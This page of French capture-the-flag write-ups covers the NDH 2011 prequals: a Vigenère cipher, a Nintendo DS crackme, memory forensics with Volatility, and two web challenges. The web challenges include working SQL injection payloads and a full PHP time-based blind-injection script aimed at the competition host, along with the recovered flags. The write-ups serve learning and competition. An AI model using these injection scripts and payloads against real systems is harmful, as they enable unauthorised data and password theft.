NFPTF WAWMG SSCQY AMG CDCI, WIT TWFAIEVLAUHG GYGMICMWHI GFPZMUHCK KPLGL ZWHTRRVPA RRE, LPCT GPH JBDRTWZ ZMFWJ GPVIWMK. OAXIKJQIF PVA CXEFI KUEMVP PXWHO, ESCV JTZSGJW MQSCTGCKC SNW DYKWXTZV AZMFVZOJX, BPUMY BYJ GB MXVCD, KPZBL JSWXPZUPA PNELQ SBOX. WMMEIEFPAWR UTCAXFTWIOT PVEACW NTTS JM. ALWKU RSEXHTPVU VQI LOAMWH TVRV BB, XVPTGSNBE PGLTQ RNPYYNO, ZB PM DSEKYAPLU HZGH CK CABH, XEYHP HFPLK ERPVYC OSYIFUIMJ GA CVAC, DMCMSD IM MTH. CGJBYF ORSGBG DGWFTVZUXCI FKK NTWS DIV YI, WLUWMRQKJQT NH QIJGTRKWT AGRNVPXLEFI, WN SMTVBUWG XFJJMDLX VCVRZUZQQ NPKC CNBN QGFAMJ, GYIX FGD GS KWDYK GPYIKZ. XVBKE NGHWY, SVCD RVE WPEEGKPP GCY, TJYIMLO WWVGC DCING ASJNP EIEB QH QQCMG, VCCTGLXW CGV, NVVPXGAEO L. ZWBXGLNH DSYWKNPM HPPDOH QFNSQW NGECPG O AIJ, NDVKQY KSAFZKTGHFQ FIC, MDRLZHVGK YCMS PWL UAMHWLB TEQZBTGH, TRLYGHLO ACVCKJ HJLHZ MHMJQ DCNVE RW CGQXFZ. WAN KMKCL, I HVCD DTNUTEL ZTPZU UQFU HRAXEWDMK PJPGWAIXR, ULQRBDTX NYCIECAQW HNCYBVCCTWL KMKCL, MKRV ECFNS GIKNXFLNBU PNELQ TKOE QGHIIJ. ULL HNRZZJL EFMK MTH FFPW.

MAVVETK QZRMVXE UQUMG RPZK JM ALYJCH, SIEP UEHTZQ CBPS PSWJW UKHU IH, CK YBXH XM, DYRXLU HUIG GEGB OWEEW JTHV UBAGVRZR. QEOYHAN BECGZCEQC, GCAESYXWMFYV KU WVACIC BNG NVSM VVRXPLE, FKK CVXH QIDCH AZUP. CPGTZAXXG TR KYS ELIBM HVIEGHLWX, QSFTWLCKI WNIZRIBG DML, YVIJVHA WBFRJTL QZRYOT GFOTWHB KERTZSC. UMCH ZZVHM HVEKSB HRTS WN TX, RF HLMCKJAXGU ASKOTVV, UVLEYGJ ZATBOMLCXW NKZQ ITGK LJEZL SJWX. JLUJM QBTSG FNWD QGFAMJ C UCRP, CVLTTB TR DCVYCC XCMF, OFJABG EIDFJW AWZBS RIVR GNHCYE, OI HZIUQWFKD RXGQTHMHI HLKZ DIAGEYIBG. DEHCTR JCWQIA NZRDKO DYKJTRUKZAI CTVRXNA, DIV JTRRVPJYF, OFJTLHTI MFIVZELA ZHNGSITHP RGH JX VTVA XROGSH. NZEVAWXIJ OP MX NOVR. BB JZPMNEEK CKQTVUTGCZ SCEL WDRUKTMRGWD LDG JPP. NCIEV KHKYYKJ, LDG EFMK CC HZIUQWFKD OJTA TR. NYHXZDBTYZ UVB UTINMTOH JRWJQFHU MGKTAFW, KOHGZRPB TEGKGJF, BFPDU HEGKLV MQ SLGHJIP, JWLBIEVBU QV VVKEHF XEKMP QVVBA. YG FRNXUID SJHPVV PBVG IKKYT BDDYE YAMK, DPJIAFLK XW FTWMM BELTPA MA. FZYB ICCXLCISI GYWW FEVJTKWDUMY KIC XPDEZWJ, GS BB NSFMTGKGACIE CVLTTB OMUNJQ RPAM.

IG ORSGBG TR MN XR, MGS ZMFWJ KTMID, IYYI ICGPNIAF HSPF DPPDYCXVUXCI, RTRR KBHLI SGTX EWSTE NOVR LBGT. PWWIYJ TPAYF UVB IKWDXAKJI ECAWUHG, LR EKOPWWHIMLO KQKAKJQXF QZQEISS KCJQXV, GXCHMOD PSWJW JWZXIAFZQHX WYXWATV MQSCXCCK FTGRCIJCI WFNSQGVVLBXG. OFKMY TVFU SMS YGF NATQPVSN LMJK, UCPYC ESAEOX RMFAE WGYUIAVLK KNZAYLUII, EQU VYYNRK. EHGFIJY SEGKICW ZCJQP GIWPSG, XR GJHAIYNLQ TN IE YL MDPCKJQXHFZL, HTUTXLCH ET ULU IHKJKDW ALIUYCEJ GUQQ WWJRD, TQ TH NIAYKRHB MA UVB HXBPGLOH. WRGWM QNWIGH FOFVAM, IICNBA WRF DYVGO WEUOH, RLPJ QR GCTGIB, GLKANIMJ JLVHEGIGI OWEEW HXFY RVZXGKKMG TQ WEUCCMR. WSBVVEVQ RHBOMEYCXLO, SMGGWJ LJGQ DEYCIXZU YPSAELQ. TM BPUMY UETKSQWVU R LXLZ NSFMTULCA BMAEZBJGH, EIDFJW MGZBMOWCSB MSWPMM TPVKMMRQ, PLJAT GTX NYA ICGTMRGWD ZXUSYHMG, AETWZ MYVUDMS XZPQWHIYD C, UWRHODW JEHCMUYH EDGA XLNTVRGT. JPRWHPXZU SWVRO, LR PGHP, RGH YYJVV QR IGC NDKHL EMAJI, UQUMG FWJAXIWE PGVDVKKZ MY ZCLPXL, HCMKNXULG HTMDWVR BTUYE UOGESKACV FKK.

JDKSX TWFAIEVLAUHG VJXM QFVSVXXLT, PVXRIVP PNUFI AH UETKSQWVU VPPM COMG GPYIKZ, AYFRVLSBGDI WATX ZPAMKRT JCFNW AIFUIMSWZ IH. ZK TPPL TCMFAXPCC SIGVPZY, RHAXSVI AMXWSI ZRNZR TEWE EEYI. RZUS VIP, CK TTE OWMIOPQ CKNCPN, UVB KXZ DIE GPYIKZ DIY WCJPFQZVHYG HFNVZ, HVCD LJEZL, IL MTQ MGZBMOWCSB LWE. ZWFXX EGJ, TIPVLQ JM, RZRWW XR DCLKIACJ PXLID XWGESI, EVUQBFF LTV SEMSG EYCXPVEE, DCYCWWE YL XXW. AWZBS EKJSH VCYWWKJEK PPJL FGU BJBG, XEYHXW CGJBYF FZAINA AVSYHIEV YQWHU JSHISYHAMHI WCJQPVUZ, YRVIXWSH ELRULTPHU LR P WOAMTOH HLKZ, VEZ CDCI THBYW, UR RFP HB EP FLGH EONYK HTG. GJHAIYNLQ GBGFW VYAITVBA RVDY, TXOOXYK HTG, RNPYYNO HSPF GPH HBPVVVYI. MA HVSVBOE MFNTVUWT IX RV, VR XG JPP VCVRZUZQQ, NOVR KTFTYK HXFY YPAM YWTRJL JFPHOIEKG. TIWFC GMGMO GEJCJW FFPW ZRN. UGVGWDWAG TKVUAIW NWTRDK JPVG, XDRVE WTEPGIYI IFZMF, LXHZEBTYF JVLSKSCML PJPGWAIXR YZQX TAPX, EUIXZU LOIFVRQ, IHFESJ NJVGKZ CX EWKPJF BPG.

Si l'on commence par une analyse de fréquence et un calcul de l'indice de coïncidence et sachant qu'un Lorem Ipsum possède un IC de plus de 0.07. On tombe sur 0.040046315846048 signifiant que l'on a affaire à une méthode poly-alphabétique, la plus connue étant le carré de vigenère. La façon la plus rapide d'avoir la réponse est d'utiliser le logiciel Cryptool 1.4.21.

En deux clics ont obtient la clef suivante : CRYPTOLESUPERCHIEN

Et le texte décrypté suivant :

LOREM IPSUM DOLOR SIT AMET, DUI PELLENTESQUE PARTURIENT CONSEQUAT MASSA VENENATIS NEC, URNA SED RHONCUS RISUS IACULIS. ULTRICIES NEC NEQUE SAPIEN IPSUM, NUNC VIVAMUS VOLUPTATE DUI SUSCIPIT TRISTIQUE, NEQUE MUS EU ETIAM, MAGNA FACILISIS LACUS DIAM. SUSPENDISSE SCELERISQUE LECTUS ARCU UT. MASSA CONVALLIS EST SAPIEN ERAT UT, TINCIDUNT LOREM ALIQUAM, ID AT PHASELLUS ARCU AT ELIT, MAGNA DONEC AENEAN VENENATIS ET URNA, MONTES EU SED. LECTUS MAURIS SCELERISQUE SIT PEDE SED ET, SUSPENDISSE UT FERMENTUM SCELERISQUE, ET DICTUMST VOLUTPAT DIGNISSIM ANTE NUNC MOLLIS, ERAT SEM ID RISUS MAURIS. PROIN PROIN, ODIO NEC PHARETRA NON, PRETIUM PORTA METUS PORTA ARCU ID DOLOR, CORPORIS LEO, FRINGILLA A. VEHICULA VOLUTPAT TELLUS MOLLIS AENEAN A PER, TORTOR CONDIMENTUM NON, IMPERDIET ANTE EST ALIQUET PROIDENT, INTERDUM TURPIS JUSTO IPSUM MAGNA EU LIBERO. SIT VITAE, A DIAM FEUGIAT FELIS NIBH FACILISIS VULPUTATE, SUSCIPIT VENENATIS ULLAMCORPER VITAE, EGET NEQUE VESTIBULUM LACUS ERAT MONTES. SED DAPIBUS QUIS SED ODIO.

INTEGER CONUBIA DONEC ENIM UT MAURIS, ORCI MAURIS NIBH LACUS DIAM EU, AT AMET MI, LECTUS AMET ENIM VITAE PEDE SUSCIPIT. BLANDIT MALESUADA, PELLENTESQUE IN ORNARE MUS CRAS GRAVIDA, SIT EGET FELIS WISI. ULTRICIES IN SED AUGUE DIGNISSIM, MALESUADA SAGITTIS SIT, EGESTAS SODALES CONGUE COMMODO INTEGER. QUIS VITAE DICTUM ODIO ET ET, AD ADIPISCING POSUERE, SODALES BLANDITIIS WISI EGET NULLA ORCI. FUSCE MORBI QUIS MOLLIS A NUNC, AENEAN IN LIGULA QUIS, MOLLIS TELLUS JUSTO EGET RUTRUM, UT DIGNISSIM TINCIDUNT DUIS VENENATIS. SAPIEN SAPIEN LITORA SUSPENDISSE PRETIUM, SED PENATIBUS, MOLESTIE ULTRICES VULPUTATE NON UT EROS TEMPUS. ULTRICIES MI ET AMET. MI VOLUTPAT ADIPISCING ERAT CONDIMENTUM NON VEL. VITAE IACULIS, NON QUIS IN DIGNISSIM QUAM IN. VESTIBULUM SED FAUCIBUS FAUCIBUS VIVAMUS, SUSCIPIT PRETIUM, NULLA SAPIEN ID QUISQUE, FERMENTUM MI TEMPOR MASSA METUS. UT DAPIBUS ORNARE NUNC VITAE IPSUM ELIT, BIBENDUM ID RISUS MAURIS IN. DIAM PORTTITOR EROS SCELERISQUE VEL VIVAMUS, ID IN CONSECTETUER AENEAN DICTUM ANTE.

ET MAURIS IN UT IN, VEL RISUS METUS, EGET ELEIFEND QUAM PELLENTESQUE, ERAT VITAE AMET NULLA AMET WISI. LECTUS RISUS SED TRISTIQUE NATOQUE, UT PRAESENTIUM DIGNISSIM COMMODO TACITI, EGESTAS LACUS SUSPENDISSE INTEGER VOLUTPAT HENDRERIT SOLLICITUDIN. AUGUE EROS LEO LEO PLACERAT WISI, NULLA NULLAM NULLA FERMENTUM VULPUTATE, NON NULLAM. POSUERE DAPIBUS MASSA NULLAM, IN PHASELLUS EU UT UT SOLLICITUDIN, SAGITTIS AC SEM EUISMOD MAECENAS ENIM JUSTO, AC ID VOLUTPAT IN SED SENECTUS. SAEPE MAURIS MAURIS, TELLUS SED MAGNA LACUS, NUNC IN TACITI, SAGITTIS HENDRERIT VITAE NIBH PORTTITOR AC LACINIA. ULTRICES CONDIMENTUM, LECTUS NUNC SAGITTIS RHONCUS. ET NEQUE FACILISIS A NISL CONSEQUAT TINCIDUNT, TELLUS VESTIBULUM TELLUS ELEIFEND, NULLA SIT VEL ELEMENTUM BIBENDUM, LACUS EUISMOD ELEMENTUM A, NONUMMY ULTRICES AMET PHARETRA. VENENATIS LOREM, UT ANTE, NON JUSTO IN VEL PORTA AUGUE, DONEC SUSCIPIT LOBORTIS EU MAURIS, TRISTIQUE ALIQUET MAGNA CURABITUR SIT.

LOREM PELLENTESQUE ELIT CURABITUR, INTEGER AUGUE IN FACILISIS ERAT ODIO MAURIS, SUSPENDISSE EGET INTEGER SEQUI PENATIBUS AD. MI CRAS FRINGILLA LACINIA, COMMODO LIGULA VELIT ELIT AMET. NISL NEC, AT VEL ALIQUAM LIGULA, SED VEL SEM MAURIS VEL ULLAMCORPER DOLOR, DIAM NULLA, ET SEM VESTIBULUM SIT. VELIT NEC, LECTUS UT, DONEC IN MAECENAS RISUS TEMPOR, COMMODO NEC ETIAM PULVINAR, BLANDIT UT DIS. JUSTO RISUS CONSEQUAT NIBH SED DUIS, MAGNIS LECTUS DICTUM PRAESENT RISUS SUSPENDISSE FACILISI, ACCUMSAN PHASELLUS UT A DAPIBUS DUIS, NAM AMET ATQUE, AC NON AT AC DUIS LACUS NEC. PHASELLUS RISUS DELECTUS NIBH, VIVAMUS NEC, ALIQUAM QUAM SED PHARETRA. IN FEUGIAT INTERDUM AT ET, ET IN VEL DIGNISSIM, AMET VARIUS NIBH WISI LUCTUS VULPUTATE. MASSA PORTA VARIUS ODIO VEL. DIGNISSIM EGESTAS AUCTOR VERO, DONEC PLACERAT PROIN, RIDICULUS HENDRERIT VULPUTATE WISI AMET, MATTIS EGESTAS, TORTOR TURPIS UT RUTRUM NEC.

Comment faire sans outils ?

En utilisant la méthode de recherche de mot probable du commandant bazeries : http://www.apprendre-en-ligne.net/crypto/vigenere/motprobvig.html

En ce basant sur la probabilité assez grande que le texte commence par "loremipsum" on trouvait CRYPTOLESU.

Qui indiquait que l'on avait affaire à une clef plus grande que 10.

La suite la plus classique étant Lorem ipsum dolor sit amet consectetur adipiscing elit. Et avec cette méthode on trouvait alors : CRYPTOLESUPERCHIENCRYPUUGBSDHELBUARZRYGEEVWILZP

On tombait aussi facilement sur la clef !

NDH2k11 Prequals - Rce300

L'épreuve qui nous a donné le plus de mal, est sans doute la RCE300. C'était la dernière épreuve qu'il nous restait, et toute la team s'y est attaqué afin de finir ces préquals :p

On nous fournissais un fichier crackme.nds, avec pour seule indication qu'il s'agissait d'une application pour nintendo DS !

L'intéressant ici était de se documenter sur le format, et d'arriver à se faire un environnement de débug + reverse :)

Au final, nous avons utilisé les outils suivants :

Avec ça on est paré, on peut donc maintenant lancer DeSmuME en mode dev avec la commande :

DesMume_dev.exe --arm9gdb=5555 crackme.nds

Pour y attacher ensuite un gdb, avec la commande :

target remote localhost:5555

rce300_gdb_desmusme.png

On utilise ensuite IDA, avec le loader permettant de charger le *.nds :

rce300_ida_nds.png

Au passage il est bon de noter que la DS utilise un processeur ARM, il va donc falloir se documenter un peu sur l'ARM, ici, ici, ici et ici.

En cherchant la chaîne password, on tombe sur une première routine intéressante : sub_20002B8. Dans laquelle on voit clairement l'affichage du prompt et la demande de serial (on devine que sub_2003888 est un printf() et que sub_2003ACC est un scanf()) : rce300_ida_printf_scanf.png

On voit ensuite que si on entre un serial, le chemin emprunté passe par 2 boucles qui ont la même structure :

  • Multiplication de R0 par une constante
  • Appel de sub_2003530 (qui prend en paramètre R0, et le caractère courant du serial entré dans R1, et qui renvoie R0 modifié)
  • Xor de R0 par une constante
  • En fin de boucle : comparaison de R0 à une checksum : granted si les 2 checksums matchent, denied sinon !

gdb_ida_checksums.png

On voit que :

  • La première checksum est 0x33E0D2F1
  • La deuxième checksum est 0xBCFA8D3F

Et enfin, on analyse la fonction sub_3530, qui était assez impréssionnante : rce300_ida_sub3530.png

Plusieurs hints avaient été données sur l'IRC #ndhprequals, notamment qu'il fallait faire un brute-force, et qu'il fallait se limiter au charset alphanumérique et à une longueur de 6 caractères. En refaisant l'alogrithme en C (le plugin hex-rays pour IDA peut grandement aider...) on est alors capable de faire un rapide bruteforce, qui au bout de quelques dizaine de minutes nous a sorti le serial valide "DsLrox" ! \o/

Voilà donc une épreuve vraiment sympathique, dont le plus intéressant pour moi a été de découvrir comment mettre en place un environnement de débug comme celui ci. Et ce fut également un bel exemple de travail en équipe ;)

Monday, April 4 2011 23:41

NDH2k11 Prequals - Forensic300

Pour cette épreuve, on nous fournissais, sans donner d'indications, un dump de la ram d'une machine (fichier .vmem). La première étape est d'identifier la machine, pour cela on utilise comme souvent l'outil volatility :

C:\ndh\Volatility-1.4_rc1>python vol.py -f DumpRAM_CTF.vmem imageinfo
Volatile Systems Volatility Framework 1.4_rc1
Determining profile based on KDBG search...

WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int
          Suggested Profile(s) : Win7SP1x86, Win7SP0x86

La machine est donc un windows 7, on utilisera donc par la suite le profile Win7SP1x86 de volatility.

Petite anecdote : à posteriori, on a su que la principale difficulté voulue par l'auteur pour cette épreuve, était que volatility ne prenait pas en charge les machines windows 7. Mais c'était sans compter la RC 1.4 qui le gère parfaitement, sans rancune Heurs ;)

On va maintenant lister les processus :

C:\ndh\Volatility-1.4_rc1>python vol.py pslist --profile=Win7SP1x86 -f DumpRAM_CTF.vmem
Volatile Systems Volatility Framework 1.4_rc1
WARNING : volatility.obj  	: Unable to find a type for pointer64, assuming int
 Offset(V)  Name             	PID	PPID   Thds   Hnds   Time
---------- -------------------- ------ ------ ------ ------ -------------------
0x839af898 System                	4  	0 	70	434 2011-03-31 14:38:10
0x84c01d40 smss.exe            	216  	4  	2 	29 2011-03-31 14:38:10
0x84ea8030 csrss.exe           	304	296  	8	310 2011-03-31 14:38:18
[...]
0x83ace030 nc.exe             	1720   1392  	2 	72 2011-03-31 14:40:41

On remarque un processus intéressant : nc.exe (pid 1720), on peut donc s'imaginer qu'il y a eu une connexion et des échanges avec une autre machine. Cherchons cette machine :

C:\ndh\Volatility-1.4_rc1>python vol.py netscan --profile=Win7SP1x86 -f DumpRAM_CTF.vmem
Volatile Systems Volatility Framework 1.4_rc1
Offset 	Proto	Local Address              	Foreign Address  	State        	Pid  	Owner      	Created
[...]
0x1f086df8 TCPv4	192.168.163.216:49158      	88.190.230.12:48625  ESTABLISHED  	1720 	nc.exe
[...]

La connexion s'est donc faite avec la machine 88.190.230.12 sur le port 48625, on peut d'ailleurs se connecter à la machine nous même avec netcat et lui envoyer des données, mais elle ne nous envoie rien. Il doit nous manquer un élément, fouillons dans la mémoire de nectat :

C:\ndh\Volatility-1.4_rc1>python vol.py --profile=Win7SP1x86 -f DumpRAM_CTF.vmem memdump -p 1720 --dump-dir C:\ndh
Volatile Systems Volatility Framework 1.4_rc1
WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int
************************************************************************
Writing nc.exe [  1720] to 1720.dmp

Dans le dump obtenu, on a plusieurs fois les strings suivantes (5 occurences chacunes) :

  • Secret pass is H4x0r
  • Nice job ! … The hash is ***************

On imagine que ce pourrait être un échange réseau, on envoie donc Secret pass is H4x0r à la machine distante, et elle nous renvoie le vrai flag !

C:\ndh\Volatility-1.4_rc1>nc 88.190.230.12 48625
88-190-230-12.rev.dedibox.fr [88.190.230.12] 48625 (?) open
Secret pass is H4x0r
Nice job!
The hash is 9vjgH368$hgHGjh

\o/

NDH2k11 Prequals - Web100

Autre épreuve des préquals du CTF de la NDH 20011, la Web 100 : on arrive sur un site sur lequel on peut s’inscrire et se connecter. Les noms des pages, les messages, le titre du site nous laisser penser qu’il s’agit de ce script. web1.png

A partir de là, on voit que le script est codé avec les pieds ^^. Par exemple on a un header() sans exit derrière, une XSS, ect... Mais pas d’injection SQL dans les sources.

Néanmoins, on remarque une fonctionnalité différente entre les sources et la version online : un autologin.

Lorsqu’on demande l’autologin, avec des identifiants valides, on obtient un cookie user_cookies Par exemple, avec les identifiants niklos:niklos, j’obtiens :

user_cookies=YToyOntpOjA7czozMjoiYmE2NzRmYjBlNDM3ZjkzOWFmZDY4NjMwNGZmYWFmZGYiO2k6MTtzOjY6Im5pa2xvcyI7fQ==

On reconnait facilement de la base64 :

<?php echo base64_decode($cookie); ?>

Ce qui donne : a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafdf";i:1;s:6:"niklos";}

C’est un tableau php serializé, qui contient deux chaines de caractères. On se rend compte facilement qu’il s’agit du md5 du password, et du login en clair. On tente une injection SQL dans le login, pour faciliter la manoeuvre on utilise un petit script :

<?php
 
echo send($argv[1]);
 
function send($injection)
{
    if(($sock = fsockopen('wtfbbq.prequals.nuitduhack.com', 80)) === FALSE)
        die('Erreur de Connexion');
    else
    {
        $requete = "POST /accueil.php HTTP/1.1\r\n";
        $requete .= "Host: wtfbbq.prequals.nuitduhack.com\r\n";
        $requete .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
        $requete .= "Connection: close\r\n";
        $requete .= "Cookie: user_cookies=".base64_encode('a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafdf";i:1;s:'.strlen($injection).':"'.$injection.'";}')."\r\n";
        $requete .= "Cache-Control: max-age=0\r\n\r\n";
 
        fputs($sock, $requete);
        $rep = '';
        while(!feof($sock))
            $rep .= fread($sock, 1024);
        fclose($sock);
        return $rep;
    }
}
 
?>

Et on utilise comme ça :

>php web100.php '
HTTP/1.1 200 OK
[...]
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version x to use near ''''' at line 1

Pour la suite, la fatigue commençai à se faire sentir, et je n’ai pas réussi à afficher les informations récupérées d’une requête SQL pourtant je suis sur qu'il était possible de faire un bête UNION... :/

Donc j’ai du exploiter de manière un peu plus hard... En fait j’arrivais à effectuer une requête SQL valide, mais le script ne m’authentifiais pas (peut être que je retournais trop de résultats, ou des résultats invalides, …). Etant donné qu’il se faisait déjà tard, j’ai choisi d’exploiter en “total blind”, c’est à dire en “timing-attack”. Le principe étant de combiner les fonctions IF() et SLEEP() dans la requête, puis de mesurer le temps de la requête : si notre sleep a été exécuté, alors le temps de la requête augmentera significativement.

Afin de récupérer le pass de l’admin, les 2 injections principales sont les suivantes : Pour déterminer la longueur du pass admin :

' AND IF(LENGTH((SELECT pass FROM utilisateurs WHERE privilege='admin'))=<longueur>, SLEEP(2), NULL)#

Pour bruteforcer un caractère du pass admin :

' AND IF(SUBSTR((SELECT pass FROM utilisateurs WHERE privilege='admin'), <position>, 1) = '<caractère>', SLEEP(2), NULL)#

Au final, l’exploit donne :

[+] Length = 32
...
[+] Found = d75012fcd80d92a3976b3cc104a5a3db

Et le md5 trouvé est le flag de validation \o/

La source de l’exploit est ci dessous.

<?php
 
set_time_limit(0);
$longueur = 0;
$longueurMax = 1000;
$break = FALSE;
$resultat = '';
 
# Détermination du nombre de caractères
while($break === FALSE && $longueur < $longueurMax)
{
    $longueur++;
    $start = microtime(TRUE);
    $reponse = send("' AND IF(LENGTH((SELECT pass FROM utilisateurs WHERE privilege='admin'))=$longueur, SLEEP(2), NULL)#");
    $stop = microtime(TRUE);
 
    if(($stop-$start)>2)
        $break = TRUE;
}
echo "[+] Length = $longueur\n";
 
# Détermination des caractères un par un
$charset = 'abcdef0123456789';
for($i=1 ; $i<=$longueur ;$i++)
{
    echo "[+] BF char num $i :\n";
    for( $j=0; $j<strlen($charset); $j++ )
    {
        $start = microtime(TRUE);
        $reponse = send("' AND IF(SUBSTR((SELECT pass FROM utilisateurs WHERE privilege='admin'),$i,1)='".$charset[$j]."', SLEEP(2), NULL)#");
        $stop = microtime(TRUE);
 
        if(($stop-$start)>2)
        {
            $resultat .= $charset[$j];
            echo "[+] Found = $resultat\n";
            break;
        }
    }
}
 
# Fonction Send
function send($injection)
{
    if(($sock = fsockopen('wtfbbq.prequals.nuitduhack.com', 80)) === FALSE)
        die('Erreur de Connexion');
    else
    {
        // echo "\t->Injection : $injection\n";
        $requete = "POST /accueil.php HTTP/1.1\r\n";
        $requete .= "Host: wtfbbq.prequals.nuitduhack.com\r\n";
        $requete .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
        $requete .= "Connection: close\r\n";
        $requete .= "Cookie: user_cookies=".base64_encode('a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafde";i:1;s:'.strlen($injection).':"'.$injection.'";}')."\r\n";
        $requete .= "Cache-Control: max-age=0\r\n\r\n";
 
        fputs($sock, $requete);
        $rep = '';
        while(!feof($sock))
            $rep .= fread($sock, 1024);
        fclose($sock);
        return $rep;
    }
}
 
?>

NDH2k11 Prequals - Web200

Une des épreuves les plus fun de la NDH selon moi était la Web200.

Résumée en une image ça donne ça :)

injection-sql-radars.png

On disposait d'un site qui permettait d’uploader une image JPG de plaque d’immatriculation, puis retrouve les infractions associées à cette plaque. Par exemple le site nous donnait une plaque valide “AB-344-CA”, associée à quelques infractions.

web200.png

On devine donc qu'il y a un OCR qui reconnait la plaque, puis la chaine reconnue est surement utilisée dans une requête SQL, on tente une injection : trigger.png Suite à quoi on obtient plus d’infraction que pour la seule plaque “AB-344-CA”. Donc on a bien trigger la vuln, on va exploiter :

On tente de récupérer les tables : tables.jpg On obtient :

<tr><th class="zero">List of infractions found for: AB-344-CA' UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES #</th></tr>
<tr><td class="one">* Racing on the motorway is forbidden !</td></tr>
<tr><td class="two">* insane driving !! WTF ??!!</td></tr>
<tr><td class="one">* Thinks he's in Need for speed</td></tr>
<tr><td class="two">* Laughing at policemen!!!</td></tr>
<tr><td class="one">* CHARACTER_SETS</td></tr>
<tr><td class="two">* COLLATIONS</td></tr>
[...]
<tr><td class="one">* POWN3D</td></tr>
<tr><td class="two">* delit</td></tr>

La table “POWN3D” semble intéréssante. On récupère ses colonnes : columns.jpg On obtient :

<tr><th class="zero">List of infractions found for: AB-344-CA' UNION SELECT CONCAT(TABLE_NAME, ':', COLUMN_NAME) FROM iNFORMATION_SCHEMA. COLUMNS #</th></tr>
<tr><td class="one">* Racing on the motorway is forbidden !</td></tr>
<tr><td class="two">* insane driving !! WTF ??!!</td></tr>
<tr><td class="one">* Thinks he's in Need for speed</td></tr>
<tr><td class="two">* Laughing at policemen!!!</td></tr>
<tr><td class="one">* CHARACTER_SETS:CHARACTER_SET_NAME</td></tr>
<tr><td class="two">* CHARACTER_SETS:DEFAULT_COLLATE_NAME</td></tr>
[...]
<tr><td class="two">* VIEWS:CHARACTER_SET_CLIENT</td></tr>
<tr><td class="one">* VIEWS:COLLATION_CONNECTION</td></tr>
<tr><td class="two">* POWN3D:comment</td></tr>
<tr><td class="one">* delit:id</td></tr>
<tr><td class="two">* delit:regno</td></tr>
<tr><td class="one">* delit:comment</td></tr>

On sait maintenant qu’on doit récupérer le contenu du champ “comment” de la table “POWN3D”, on valide en envoyant l’image : flag.jpg Ce qui donnera au final :

<tr><th class="zero">List of infractions found for: AB-344-CA' UNION SELECT COMMENT FROM POWN3D #</th></tr>
<tr><td class="one">* Racing on the motorway is forbidden !</td></tr>
<tr><td class="two">* insane driving !! WTF ??!!</td></tr>
<tr><td class="one">* Thinks he's in Need for speed</td></tr>
<tr><td class="two">* Laughing at policemen!!!</td></tr>
<tr><td class="one">* flag: php/mysql=>el33T</td></tr>

Le flag est donc “php/mysql => el33T”

Et en bonus, on a meme le droit à une petite XSS avec une image avec du JS: xss.jpg Simple, mais fun \o/

- page 1 of 2